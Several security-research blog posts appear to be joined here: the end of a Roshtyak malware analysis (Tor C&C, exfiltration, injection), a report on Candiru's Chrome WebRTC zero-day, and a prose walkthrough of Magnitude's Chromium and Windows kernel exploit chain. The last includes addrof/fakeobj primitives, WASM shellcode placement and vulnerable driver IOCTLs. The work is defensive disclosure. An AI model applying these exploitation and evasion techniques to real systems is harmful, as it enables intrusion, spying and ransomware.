Tor connectivity check. This is done by contacting 28 legitimate and well-known <code>.onion</code> addresses in random order and checking if at least one of them responds. If none of them respond, Roshtyak doesn’t even attempt to contact its C&amp;C, as it would most likely not get through to it anyway.As for the actual C&amp;C communication, Roshtyak contains 35 hardcoded V2 onion addresses (e.g. <code>ip2djbz3xidmkmkw:53148</code>, see our <a href="https://github.com/avast/ioc/tree/master/RaspberryRobin">IoC repository</a> for the full list). Like during the connectivity check, Roshtyak iterates through them in random order and attempts to contact each of them until one responds. Note that while V2 onion addresses are <a href="https://support.torproject.org/onionservices/v2-deprecation/">officially deprecated</a> in favor of V3 addresses (and the Tor Browser no longer supports them in its latest version) they still appear to be functional enough for Roshtyak’s nefarious purposes.

The victim profile is sent in the URL path, appended to the V2 onion address, along with the <code>/</code> character. As the raw profile might contain characters forbidden for use in URLs, the profile is wrapped in a custom structure and encoded using Base64. The very first 0x10 bytes of the custom structure serve as an encryption key, with the rest of the structure being encrypted. The custom structure also contains a 64-bit hash of the victim profile, which presumably serves as an integrity check. Interestingly, the custom structure might get its end padded with random bytes. Note that the full path could be pretty large, as it contains a doubly Base64-encoded screenshot. The authors of Roshtyak were probably aware that the URL path is not suitable for sending large amounts of data and decided to cap the length of the victim profile at 0x20000 bytes. If the screenshot makes the exfiltrated profile larger than this limit, it isn’t included.When the full onion URL is constructed, Roshtyak goes ahead to launch its Tor comms module. It first spawns a dummy process to host the comms module. This dummy process is randomly chosen and can be one of <code>dllhost.exe</code>, <code>regsvr32.exe</code>, or <code>rundll32.exe</code>. The comms module is injected into the newly spawned process using a shared section, obfuscated through the previously described <a href="https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/#shellcode_hiding">shellcode hiding</a> technique. The comms module is then executed via <code>NtQueueApcThreadEx</code>, using the already discussed <a href="https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/#ntdll_gadgets">ntdll gadget trick</a>. The injected comms module is a custom build of an open-source Tor library packed in three additional protective shellcode layers.The core module communicates with the comms module using shared sections as an IPC mechanism. Both modules synchronously use the same PRNG with the same seed (<code>KUSER_SHARED_DATA.Cookie</code>) to generate the same section name. Both then map this named section into their respective address spaces and communicate with each other by reading/writing to it. The data read/written into the section is encrypted with RC4 (the key also generated using the synchronized PRNGs).The communication between the core module and the comms module follows a simple request/response pattern. The core module writes an encrypted onion URL (including the URL path to exfiltrate) into the shared section. The comms module then decrypts the URL and makes an HTTP request over Tor to it. The core module waits for the comms module to write the encrypted HTTP response back to the shared section. Once it’s there, the core module decrypts it and unwraps it from a custom format (which includes decrypting it yet again and computing a hash to check the payload’s integrity). The decrypted payload might include a shellcode for the core module to execute. If the shellcode is present, the core module allocates a huge chunk of memory, hides the shellcode there using the <a href="https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/#shellcode_hiding">shellcode hiding</a> technique, and executes it in a new thread. This new thread is hidden using the <code>NtSetInformationThread</code> -&gt; <code>ThreadHideFromDebugger</code> technique (including a follow-up anti-hooking check using <code>NtGetInformationThread</code> to confirm that the <code>NtSetInformationThread</code> call did indeed succeed).<h2>Conclusion</h2>In this blog post, we took a technical deep dive into Roshtyak, the backdoor payload associated with Raspberry Robin. The main focus was to describe how to deal with Roshtyak’s protection mechanisms. We showed some never-before-seen anti-debugger/anti-sandbox/anti-VM tricks and discussed Roshtyak’s heavy obfuscation. We also described Roshtyak’s core functionality. Specifically, we detailed how it establishes persistence, escalates privileges, moves laterally, and uses Tor to download further payloads.We have to admit that reverse engineering Roshtyak was certainly no easy task. The combination of heavy obfuscation and numerous advanced anti-analysis tricks made it a considerable challenge. Nick Harbour, if you’re looking for something to repurpose for next year’s final Flare-On challenge, this might be it.<h3>Indicators of Compromise (IoCs)</h3>IoCs are available at&nbsp;<a href="https://github.com/avast/ioc/tree/master/RaspberryRobin">https://github.com/avast/ioc/tree/master/RaspberryRobin</a>.

Innovative Evasion Techniques in Roshtyak

Raspberry Robin’s Roshtyak: A Little Lesson in Trickery

We recently discovered a zero-day vulnerability in Google Chrome (<code>CVE-2022-2294</code>) when it was exploited in the wild in an attempt to attack Avast users in the Middle East. Specifically, a large portion of the attacks took place in Lebanon, where journalists were among the targeted parties.The vulnerability was a memory corruption in WebRTC that was abused to achieve shellcode execution in Chrome’s renderer process. We reported this vulnerability to Google, who <a href="https://chromereleases.googleblog.com/2022/07/stable-channel-update-for-desktop.html">patched</a> it on July 4, 2022.Based on the malware and TTPs used to carry out the attack, we can confidently attribute it to a secretive spyware vendor of many names, most commonly known as Candiru. (A name the threat actors chose themselves, inspired by a horrifying <a href="https://en.wikipedia.org/wiki/Candiru_(fish)">parasitic fish</a> of the same name.)&nbsp;After Candiru was exposed by <a href="https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/">Microsoft</a> and <a href="https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/">CitizenLab</a> in July 2021, it laid low for months, most likely taking its time to update its malware to evade existing detection. We’ve seen it return with an updated toolset in March 2022, targeting Avast users located in Lebanon, Turkey, Yemen, and Palestine via watering hole attacks using zero-day exploits for Google Chrome. We believe the attacks were highly targeted.<h3>Exploit Delivery and Protection</h3>There were multiple attack campaigns, each delivering the exploit to the victims in its own way.&nbsp;In Lebanon, the attackers seem to have compromised a website used by employees of a news agency. We can’t say for sure what the attackers might have been after, however often the reason why attackers go after journalists is to spy on them and the stories they’re working on directly, or to get to their sources and gather compromising information and sensitive data they shared with the press.Interestingly, the compromised website contained artifacts of persistent XSS attacks, with there being pages that contained calls to the Javascript function <code>alert</code> along with keywords like <code>test</code>. We suppose that this is how the attackers tested the XSS vulnerability, before ultimately exploiting it for real by injecting a piece of code that loads malicious Javascript from an attacker-controlled domain. This injected code was then responsible for routing the intended victims (and only the intended victims) to the exploit server, through several other attacker-controlled domains.

Once the victim gets to the exploit server, Candiru gathers more information. A profile of the victim’s browser, consisting of about 50 data points, is collected and sent to the attackers. The collected information includes the victim’s language, timezone, screen information, device type, browser plugins, referrer, device memory, cookie functionality, and more. We suppose this was done to further protect the exploit and make sure that it only gets delivered to the targeted victims. If the collected data satisfies the exploit server, it uses RSA-2048 to exchange an encryption key with the victim. This encryption key is used with AES-256-CBC to establish an encrypted channel through which the zero-day exploits get delivered to the victim. This encrypted channel is set up on top of TLS, effectively hiding the exploits even from those who would be decrypting the TLS session in order to capture plaintext HTTP traffic.<h3>Exploits and Vulnerabilities</h3>We managed to capture a zero-day exploit that abused a heap buffer overflow in WebRTC to achieve shellcode execution inside a renderer process. This zero-day was chained with a sandbox escape exploit, which was unfortunately further protected and we were not able to recover it. We extracted a PoC from the renderer exploit and sent it to Google’s security team. They fixed the vulnerability, assigning it <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-2294">CVE-2022-2294</a> and releasing a patch in Chrome version <code>103.0.5060.114</code> (Stable channel).&nbsp;While the exploit was specifically designed for Chrome on Windows, the vulnerability’s potential was much wider. Since the root cause was located in WebRTC, the vulnerability affected not only other Chromium-based browsers (like Microsoft Edge) but also different browsers like Apple’s Safari. We do not know if Candiru developed exploits other than the one targeting Chrome on Windows, but it’s possible that they did. Our Avast Secure Browser was patched on July 5. Microsoft <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-2294">adopted</a> the Chromium patch on July 6, while Apple released a <a href="https://support.apple.com/en-us/HT213341">patch</a> for Safari on July 20. We encourage all other WebRTC integrators to patch as soon as possible.At the end of the exploit chain, the malicious payload (called <a href="https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/">DevilsTongue</a>, a full-blown spyware) attempts to get into the kernel using another zero-day exploit. This time, it is targeting a <a href="https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5">legitimate signed kernel driver</a> in a <a href="https://www.eset.com/int/about/newsroom/press-releases/research/esets-research-into-bring-your-own-vulnerable-driver-details-attacks-on-drivers-in-windows-core-1/">BYOVD</a> (Bring Your Own Vulnerable Driver) fashion. Note that for the driver to be exploited, it has to be first dropped to the filesystem (Candiru used the path <code>C:\Windows\System32\drivers\HW.sys</code>) and loaded, which represents a good detection opportunity.The driver is exploited through IOCTL requests. In particular, there are two vulnerable IOCTLs: <code>0x9C40648C</code> can be abused for reading physical memory and <code>0x9C40A4CC</code> for writing physical memory. We reported this to the driver’s developer, who acknowledged the vulnerability and claimed to be working on a patch. Unfortunately, the patch will not stop the attackers, since they can just continue to exploit the older, unpatched driver. We are also discussing a possible revocation, but that would not be a silver bullet either, because Windows doesn’t always check the driver’s revocation status. Driver blocklisting seems to be the best solution for now.

While there is no way for us to know for certain whether or not the WebRTC vulnerability was exploited by other groups as well, it is a possibility. Sometimes zero-days get independently discovered by multiple groups, sometimes someone sells the same vulnerability/exploit to multiple groups, etc. But we have no indication that there is another group exploiting this same zero-day.Because Google was fast to patch the vulnerability on July 4, Chrome users simply need to click the button when the browser prompts them to “restart to finish applying the update.” The same procedure should be followed by users of most other Chromium-based browsers, including Avast Secure Browser. Safari users should update to version <code>15.6</code>.&nbsp;<h3>Indicators of Compromise (IoCs)</h3><h5>Infrastructure</h5>

<h5>Hijacked CLSIDs (<a href="https://attack.mitre.org/techniques/T1546/015/">persistence mechanism</a>)</h5>

IoCs are also available in our <a href="https://github.com/avast/ioc/tree/master/Candiru">IoC repository</a>.

Zero-day vulnerability in Google Chrome discovery

The Return of Candiru: Zero-days in the Middle East

In October 2021, we discovered that the <a href="https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/">Magnitude exploit kit</a> was testing out a Chromium exploit chain in the wild. This really piqued our interest, because browser exploit kits have in the past few years focused mainly on Internet Explorer vulnerabilities and it was believed that browsers like Google Chrome are just too big of a target for them.

About a month later, we found that the <a href="https://twitter.com/AvastThreatLabs/status/1458757035076440064?s=20">Underminer exploit kit followed suit</a> and developed an exploit for the same Chromium vulnerability. That meant there were two exploit kits that dared to attack Google Chrome: Magnitude using <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-21224">CVE-2021-21224</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956">CVE-2021-31956</a> and Underminer using <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-21224">CVE-2021-21224</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0808">CVE-2019-0808</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1020">CVE-2020-1020</a>, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1054">CVE-2020-1054</a>.We’ve been monitoring the exploit kit landscape very closely since our discoveries, watching out for any new developments. We were waiting for other exploit kits to jump on the bandwagon, but none other did, as far as we can tell. What’s more, Magnitude seems to have abandoned the Chromium exploit chain. And while Underminer still continues to use these exploits today, its traditional IE exploit chains are doing much better. According to our telemetry, less than 20% of Underminer’s exploitation attempts are targeting Chromium-based browsers.This is some very good news because it suggests that the Chromium exploit chains were not as successful as the attackers hoped they would be and that it is not currently very profitable for exploit kit developers to target Chromium users. In this blog post, we would like to offer some thoughts into why that could be the case and why the attackers might have even wanted to develop these exploits in the first place. And since we don’t get to see a new Chromium exploit chain in the wild every day, we will also dissect Magnitude’s exploits and share some detailed technical information about them.<h3>Exploit Kit Theory</h3>To understand why exploit kit developers might have wanted to test Chromium exploits, let’s first look at things from their perspective. Their end goal in developing and maintaining an exploit kit is to make a profit: they just simply want to maximize the difference between money “earned” and money spent. To achieve this goal, most modern exploit kits follow a simple formula. They buy ads targeted to users who are likely to be vulnerable to their exploits (e.g. Internet Explorer users). These ads contain JavaScript code that is automatically executed, even when the victim doesn’t interact with the ad in any way (sometimes referred to as drive-by attacks). This code can then further profile the victim’s browser environment and select a suitable exploit for that environment. If the exploitation succeeds, a malicious payload (e.g. ransomware or a coinminer) is deployed to the victim. In this scenario, the money “earned” could be the ransom or mining rewards. On the other hand, the money spent is the cost of ads, infrastructure (renting servers, registering domain names etc.), and the time the attacker spends on developing and maintaining the exploit kit.&nbsp;&nbsp;

The attackers would like to have many diverse exploits ready at any given time because it would allow them to cast a wide net for potential victims. But it is important to note that individual exploits generally get less effective over time. This is because the number of people susceptible to a known vulnerability will decrease as some people patch and other people upgrade to new devices (which are hopefully not plagued by the same vulnerabilities as their previous devices). This forces the attackers to always look for new vulnerabilities to exploit. If they stick with the same set of exploits for years, their profit would eventually reduce down to almost nothing.So how do they find the right vulnerabilities to exploit? After all, there are thousands of CVEs reported each year, but only a few of them are good candidates for being included in an exploit kit. Weaponizing an exploit generally takes a lot of time (unless, of course, there is a ready-to-use PoC or the exploit can be stolen from a competitor), so the attackers might first want to carefully take into account multiple characteristics of each vulnerability. If a vulnerability scores well across these characteristics, it looks like a good candidate for inclusion in an exploit kit. Some of the more important characteristics are listed below.<ul><li data-list-item-id="ed9614ad02e5fa70e3dd2e63011cbaff6">Prevalence of the vulnerability The more users are affected by the vulnerability, the more attractive it is to the attackers.&nbsp;</li><li data-list-item-id="e1659bf97cf29f18815a820a56b89b97e">Exploit reliability Many exploits rely on some assumptions or are based on a race condition, which makes them fail some of the time. The attackers obviously prefer high-reliability exploits.</li><li data-list-item-id="e4459faa9a0ff83a02b05c5d103d628ca">Difficulty of exploit development This determines the time that needs to be spent on exploit development (if the attackers are even capable of exploiting the vulnerability). The attackers tend to prefer vulnerabilities with a public PoC exploit, which they can often just integrate into their exploit kit with minimal effort.</li><li data-list-item-id="e9b3247c1a6fae7f5e25150927f438c84">Targeting precision The attackers care about how hard it is to identify (and target ads to) vulnerable victims. If they misidentify victims too often (meaning that they serve exploits to victims who they cannot exploit), they’ll just lose money on the malvertising.</li><li data-list-item-id="e1aec4ffddbc2b7eb8bdeaa981151efd6">Expected vulnerability lifetime As was already discussed, each vulnerability gets less effective over time. However, the speed at which the effectiveness drops can vary a lot between vulnerabilities, mostly based on how effective is the patching process of the affected software.</li><li data-list-item-id="ed9f7ba12c4fdaa38d9f8dcc6af316bce">Exploit detectability The attackers have to deal with numerous security solutions that are in the business of protecting their users against exploits. These solutions can lower the exploit kit’s success rate by a lot, which is why the attackers prefer more stealthy exploits that are harder for the defenders to detect.&nbsp;</li><li data-list-item-id="eb8a56fdab3bc761668d836df76ee16e1">Exploit potential Some exploits give the attackers <code>System</code>, while others might make them only end up inside a sandbox. Exploits with less potential are also less useful, because they either need to be chained with other LPE exploits, or they place limits on what the final malicious payload is able to do.</li></ul>Looking at these characteristics, the most plausible explanation for the failure of the Chromium exploit chains is the expected vulnerability lifetime. Google is extremely good at forcing users to install browser patches: Chrome updates are pushed to users when they’re ready and can happen many times in a month (unlike e.g. Internet Explorer updates which are locked into the once-a-month “Patch Tuesday” cycle that is only broken for exceptionally severe vulnerabilities). When CVE-2021-21224 was a zero-day vulnerability, it affected billions of users. Within a few days, almost all of these users received a patch. The only unpatched users were those who manually disabled (or broke) automatic updates, those who somehow managed not to relaunch the browser in a long time, and those running Chromium forks with bad patching habits.A secondary reason for the failure could be attributed to bad targeting precision. Ad networks often allow the attackers to target ads based on various characteristics of the user’s browser environment, but the specific version of the browser is usually not one of these characteristics. For Internet Explorer vulnerabilities, this does not matter that much: the attackers can just buy ads for Internet Explorer users in general. As long as a certain percentage of Internet Explorer users is vulnerable to their exploits, they will make a profit. However, if they just blindly targeted Google Chrome users, the percentage of vulnerable victims might be so low, that the cost of malvertising would outweigh the money they would get by exploiting the few vulnerable users. Google also plans to <a href="https://blog.chromium.org/2021/09/user-agent-reduction-origin-trial-and-dates.html">reduce the amount of information</a> given in the <code>User-Agent</code> string. Exploit kits often heavily rely on this string for precise information about the browser version. With less information in the <code>User-Agent</code> header, they might have to come up with some custom version fingerprinting, which would most likely be less accurate and costly to manage.Now that we have some context about exploit kits and Chromium, we can finally speculate about why the attackers decided to develop the Chromium exploit chains. First of all, adding new vulnerabilities to an exploit kit seems a lot like a “trial and error” activity. While the attackers might have some expectations about how well a certain exploit will perform, they cannot know for sure how useful it will be until they actually test it out in the wild. This means it should not be surprising that sometimes, their attempts to integrate an exploit turn out worse than they expected. Perhaps they misjudged the prevalence of the vulnerabilities or thought that it would be easier to target the vulnerable victims. Perhaps they focused too much on the characteristics that the exploits do well on: after all, they have reliable, high-potential exploits for a browser that’s used by billions. It could also be that this was all just some experimentation where the attackers just wanted to explore the land of Chromium exploits.It’s also important to point out that the usage of Internet Explorer (which is currently vital for the survival of exploit kits) has been steadily dropping over the past few years. This may have forced the attackers to experiment with how viable exploits for other browsers are because they know that sooner or later they will have to make the switch. But judging from these attempts, the attackers do not seem fully capable of making the switch as of now. That is some good news because it could mean that if nothing significant changes, exploit kits might be forced to retire when Internet Explorer usage drops below some critical limit.<h3>CVE-2021-21224</h3>Let’s now take a closer look at the Magnitude’s exploit chain that we discovered in the wild. The exploitation starts with a JavaScript exploit for CVE-2021-21224. This is a type confusion vulnerability in <a href="https://v8.dev/">V8</a>, which allows the attacker to execute arbitrary code within a (sandboxed) Chromium renderer process. A zero-day exploit for this vulnerability (or <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1195777">issue 1195777</a>, as it was known back then since no CVE ID had been assigned yet) was <a href="https://web.archive.org/web/20210414162911/https://github.com/avboy1337/1195777-chrome0day/commit/e2a004a0a6cc9bbd3780d6bd585eee1131adbb4f">dumped on Github</a> on April 14, 2021. The exploit worked for a couple of days against the latest Chrome version, until Google rushed out a patch about a week later.It should not be surprising that Magnitude’s exploit is heavily inspired by the PoC on Github. However, while both Magnitude’s exploit and the PoC follow a very similar exploitation path, there are no matching code pieces, which suggests that the attackers didn’t resort that much to the “Copy/Paste” technique of exploit development. In fact, Magnitude’s exploit looks like a more cleaned-up and reliable version of the PoC. And since there is no obfuscation employed (the attackers probably meant to add it in later), the exploit is very easy to read and debug. There are even very self-explanatory function names, such as <code>confusion_to_oob</code>, <code>addrof</code>, and <code>arb_write</code>, and variable names, such as <code>oob_array</code>, <code>arb_write_buffer</code>, and <code>oob_array_map_and_properties</code>. The only way this could get any better for us researchers would be if the authors left a couple of helpful comments in there…Interestingly, some parts of the exploit also seem inspired by a <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/">CTF writeup</a> for a “pwn” challenge from <a href="https://ctftime.org/event/778">*CTF 2019</a>, in which the players were supposed to exploit a made-up vulnerability that was introduced into a fork of V8. While CVE-2021-21224 is obviously a different (and actual rather than made-up) vulnerability, many of the techniques outlined in that writeup apply for V8 exploitation in general and so are used in the later stages of the Magnitude’s exploit, sometimes with the very same variable names as those used in the writeup.

The root cause of the vulnerability is <a href="https://chromium.googlesource.com/v8/v8/+/09757f3b0a573a3db37a635b8a530b14ad4371c1%5E%21/">incorrect integer conversion</a> during the <code>SimplifiedLowering</code> phase. This incorrect conversion is triggered in the exploit by the <code>Math.max</code> call, shown in the code snippet above. As can be seen, the exploit first calls <code>foofunc</code> in a loop <code>0x10000</code> times. This is to make V8 compile that function because the bug only manifests itself after JIT compilation. Then, <code>helper["gcfunc"]</code> gets called. The purpose of this function is just to trigger garbage collection. We tested that the exploit also works without this call, but the authors probably put it there to improve the exploit’s reliability. Then, <code>foofunc</code> is called one more time, this time with <code>flagvar=true</code>, which makes <code>xvar=0xFFFFFFFF</code>. Without the bug, <code>lenvar</code> should now evaluate to <code>-0xFFFFFFFF</code> and the next statement should throw a <code>RangeError</code> because it should not be possible to create an array with a negative length. However, because of the bug, <code>lenvar</code> evaluates to an unexpected value of <code>1</code>. The reason for this is that the vulnerable code incorrectly converts the result of <code>Math.max</code> from an unsigned 32-bit integer <code>0xFFFFFFFF</code> to a signed 32-bit integer <code>-1</code>. After constructing <code>vuln_array</code>, the exploit calls <code>Array.prototype.shift</code> on it. Under normal circumstances, this method should remove the first element from the array, so the length of <code>vuln_array</code> should be zero. However, because of the disparity between the actual and the predicted value of <code>lenvar</code>, V8 makes an incorrect optimization here and just puts the 32-bit constant <code>0xFFFFFFFF</code> into <code>Array.length</code> (this is computed as <code>0-1</code> with an unsigned 32-bit underflow, where <code>0</code> is the predicted length and <code>-1</code> signifies <code>Array.prototype.shift</code> decrementing <code>Array.length</code>).&nbsp;

Now, the attackers have successfully crafted a JSArray with a corrupted <code>Array.length</code>, which allows them to perform out-of-bounds memory reads and writes. The very first out-of-bounds memory write can be seen in the last statement of the <code>confusion_to_oob</code> function. The exploit here writes <code>0xc00c</code> to <code>vuln_array[0x10]</code>. This abuses the deterministic memory layout in V8 when a function creates two local arrays. Since <code>vuln_array</code> was created first, <code>oob_array</code> is located at a known offset from it in memory and so by making out-of-bounds memory accesses through <code>vuln_array</code>, it is possible to access both the metadata and the actual data of <code>oob_array</code>. In this case, the element at index <code>0x10</code> corresponds to offset <code>0x40</code>, which is where <code>Array.length</code> of <code>oob_array</code> is stored. The out-of-bounds write therefore corrupts the length of <code>oob_array</code>, so it is now too possible to read and write past its end.

Next, the exploit constructs the <a href="http://phrack.org/issues/70/3.html#:~:text=4%20-%20Building%20exploit%20primitives">addrof and fakeobj exploit primitives</a>. These are well-known and very powerful primitives in the world of JavaScript engine exploitation. In a nutshell, <code>addrof</code> leaks the address of a JavaScript object, while <code>fakeobj</code> creates a new, fake object at a given address. Having constructed these two primitives, the attacker can usually reuse existing techniques to get to their ultimate goal: arbitrary code execution.&nbsp;

Both primitives are constructed in a similar way, abusing the fact that <code>vuln_array[0x7]</code> and <code>oob_array[0]</code> point to the very same memory location. It is important to note here that&nbsp; <code>vuln_array</code> is internally represented by V8 as <code>HOLEY_ELEMENTS</code>, while <code>oob_array</code> is <code>PACKED_DOUBLE_ELEMENTS</code> (for more information about internal array representation in V8, please refer to <a href="https://v8.dev/blog/elements-kinds">this blog post</a> by the V8 devs). This makes it possible to write an object into <code>vuln_array</code> and read it (or more precisely, the pointer to it) from the other end in <code>oob_array</code> as a double. This is exactly how <code>addrof</code> is implemented, as can be seen above. Once the address is read, it is converted using <code>helper["f2ifunc"]</code> from double representation into an integer representation, with the upper 32 bits masked out, because the double takes 64 bits, while pointers in V8 are <a href="https://v8.dev/blog/pointer-compression">compressed</a> down to just 32 bits. <code>fakeobj</code> is implemented in the same fashion, just the other way around. First, the pointer is converted into a double using <code>helper["i2ffunc"]</code>. The pointer, encoded as a double, is then written into <code>oob_array[0]</code> and then read from <code>vuln_array[0x7]</code>, which tricks V8 into treating it as an actual object. Note that there is no masking needed in <code>fakeobj</code> because the double written into <code>oob_array</code> is represented by more bits than the pointer read from <code>vuln_array</code>.

With <code>addrof</code> and <code>fakeobj</code> in place, the exploit follows a fairly standard exploitation path, which seems heavily inspired by the aforementioned <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/">*CTF 2019 writeup</a>. The next primitives constructed by the exploit are arbitrary read/write. To achieve these primitives, the exploit fakes a JSArray (aptly named <code>fake</code> in the code snippet above) in such a way that it has full control over its metadata. It can then overwrite the fake JSArray’s <code>elements</code> pointer, which points to the address where the actual elements of the array get stored. Corrupting the <code>elements</code> pointer allows the attackers to point the fake array to an arbitrary address, and it is then subsequently possible to read/write to that address through reads/writes on the fake array.Let’s look at the implementation of the arbitrary read/write primitive in a bit more detail. The exploit first calls the <code>get_arw</code> function to set up the fake JSArray. This function starts by using an overread on <code>oob_array[3]</code> in order to leak <code>map</code> and <code>properties</code> of <code>oob_array</code> (remember that the original length of <code>oob_array</code> was <code>3</code> and that its length got corrupted earlier). The <code>map</code> and <code>properties</code> point to structures that basically describe the object type in V8. Then, a new array called <code>point_array</code> gets created, with the <code>oob_array_map_and_properties</code> value as its first element. Finally, the <code>fake</code> JSArray gets constructed at offset <code>0x20</code> before <code>point_array</code>. This offset was carefully chosen, so that the the JSArray structure corresponding to <code>fake</code> overlaps with <code>elements</code> of <code>point_array</code>. Therefore, it is possible to control the internal members of <code>fake</code> by modifying the elements of <code>point_array</code>. Note that elements in <code>point_array</code> take 64 bits, while members of the JSArray structure usually only take 32 bits, so modifying one element of <code>point_array</code> might overwrite two members of <code>fake</code> at the same time. Now, it should make sense why the first element of <code>point_array</code> was set to <code>oob_array_map_and_properties</code>. The first element is at the same address where V8 would look for the <code>map</code> and <code>properties</code> of <code>fake</code>. By initializing it like this, <code>fake</code> is created to be a <code>PACKED_DOUBLE_ELEMENTS</code> JSArray, basically inheriting its type from <code>oob_array</code>.The second element of <code>point_array</code> overlaps with the <code>elements</code> pointer and <code>Array.length</code> of <code>fake</code>. The exploit uses this for both arbitrary read and arbitrary write, first corrupting the <code>elements</code> pointer to point to the desired address and then reading/writing to that address through <code>fake[0]</code>. However, as can be seen in the exploit code above, there are some additional actions taken that are worth explaining. First of all, the exploit always makes sure that <code>addrvar</code> is an odd number. This is because V8 expects pointers to be <a href="https://v8.dev/blog/pointer-compression#value-tagging-in-v8">tagged</a>, with the least significant bit set. Then, there is the addition of <code>2&lt;&lt;32</code> to <code>addrvar</code>. As was explained before, the second element of <code>point_array</code> takes up 64 bits in memory, while the <code>elements</code> pointer and <code>Array.length</code> both take up only 32 bits. This means that a write to <code>point_array[1]</code> overwrites both members at once and the <code>2&lt;&lt;32</code> just simply sets the <code>Array.length</code>, which is controlled by the most significant 32 bits. Finally, there is the subtraction of <code>8</code> from <code>addrvar</code>. This is because the <code>elements</code> pointer does not point straight to the first element, but instead to a <code>FixedDoubleArray</code> structure, which takes up eight bytes and precedes the actual element data in memory.

The final step taken by the exploit is converting the arbitrary read/write primitive into arbitrary code execution. For this, it uses a well-known trick that takes advantage of WebAssembly. When V8 JIT-compiles a WebAssembly function, it places the compiled code into memory pages that are both writable and executable (there now <a href="https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/#:~:text=The%20beginning%20of%20the%20end%20of%20wasm%20RWX%3F">seem to be some new mitigations</a> that aim to prevent this trick, but it is still working against V8 versions vulnerable to CVE-2021-21224). The exploit can therefore locate the code of a JIT-compiled WebAssembly function, overwrite it with its own shellcode and then call the original WebAssembly function from Javascript, which executes the shellcode planted there.Magnitude’s exploit first creates a dummy WebAssembly module that contains a single function called <code>main</code>, which just returns the number <a href="https://simple.wikipedia.org/wiki/42_(answer)">42</a> (the original code of this function doesn’t really matter because it will get overwritten with the shellcode anyway). Using a combination of <code>addrof</code> and <code>arb_read</code>, the exploit obtains the address where V8 JIT-compiled the function <code>main</code>. Interestingly, it then constructs a whole new arbitrary write primitive using an ArrayBuffer with a corrupted backing store pointer and uses this newly constructed primitive to write shellcode to the address of <code>main</code>. While it could theoretically use the first arbitrary write primitive to place the shellcode there, it chooses this second method, most likely because it is more reliable. It seems that the first method might crash V8 under some rare circumstances, which makes it not practical for repeated use, such as when it gets called thousands of times to write a large shellcode buffer into memory.There are two shellcodes embedded in the exploit. The first one contains an exploit for CVE-2021-31956. This one gets executed first and its goal is to steal the <code>SYSTEM</code> token to elevate the privileges of the current process. After the first shellcode returns, the second shellcode gets planted inside the JIT-compiled WebAssembly function and executed. This second shellcode injects Magniber ransomware into some already running process and lets it encrypt the victim’s drives.<h3>CVE-2021-31956</h3>Let’s now turn our attention to the second exploit in the chain, which Magnitude uses to escape the Chromium sandbox. This is an exploit for CVE-2021-31956, a paged pool buffer overflow in the Windows kernel. It was discovered in June 2021 by <a href="https://twitter.com/oct0xor">Boris Larin</a> from Kaspersky, who found it being used as a zero-day in the wild as a part of the <a href="https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/">PuzzleMaker attack</a>. The Kaspersky blog post about PuzzleMaker briefly describes the vulnerability and the way the attackers chose to exploit it. However, much more information about the vulnerability can be found in a <a href="https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/">two</a>–<a href="https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/">part</a> blog series by <a href="https://twitter.com/alexjplaskett">Alex Plaskett</a> from NCC Group. This blog series goes into great detail and pretty much provides a step-by-step guide on how to exploit the vulnerability. We found that the attackers behind Magnitude followed this guide very closely, even though there are certainly many other approaches that they could have chosen for exploitation. This shows yet again that publishing vulnerability research can be a double-edged sword. While the blog series certainly helped many defend against the vulnerability, it also made it much easier for the attackers to weaponize it.The vulnerability lies in <code>ntfs.sys</code>, inside the function <code>NtfsQueryEaUserEaList</code>, which is directly reachable from the syscall <code>NtQueryEaFile</code>. This syscall internally allocates a temporary buffer on the paged pool (the size of which is controllable by a syscall parameter) and places there the NTFS Extended Attributes associated with a given file. Individual Extended Attributes are separated by a padding of up to four bytes. By making the padding start directly at the end of the allocated pool chunk, it is possible to trigger an integer underflow which results in <code>NtfsQueryEaUserEaList</code> writing subsequent Extended Attributes past the end of the pool chunk. The idea behind the exploit is to spray the pool so that chunks containing certain <a href="https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html">Windows Notification Facility</a> (WNF) structures can be corrupted by the overflow. Using some WNF magic that will be explained later, the exploit gains an arbitrary read/write primitive, which it uses to steal the <code>SYSTEM</code> token.The exploit starts by checking the victim’s Windows build number. Only builds 18362, 18363, 19041, and 19042 (19H1 – 20H2) are supported, and the exploit bails out if it finds itself running on a different build. The build number is then used to determine proper offsets into the <code>_EPROCESS</code> structure as well as to determine correct syscall numbers, because syscalls are invoked directly by the exploit, bypassing the usual syscall stubs in <code>ntdll</code>.

Next, the exploit brute-forces file handles, until it finds one on which it can use the <code>NtSetEAFile</code> syscall to set its NTFS Extended Attributes. Two attributes are set on this file, crafted to trigger an overflow of <code>0x10</code> bytes into the next pool chunk later when <code>NtQueryEaFile</code> gets called.

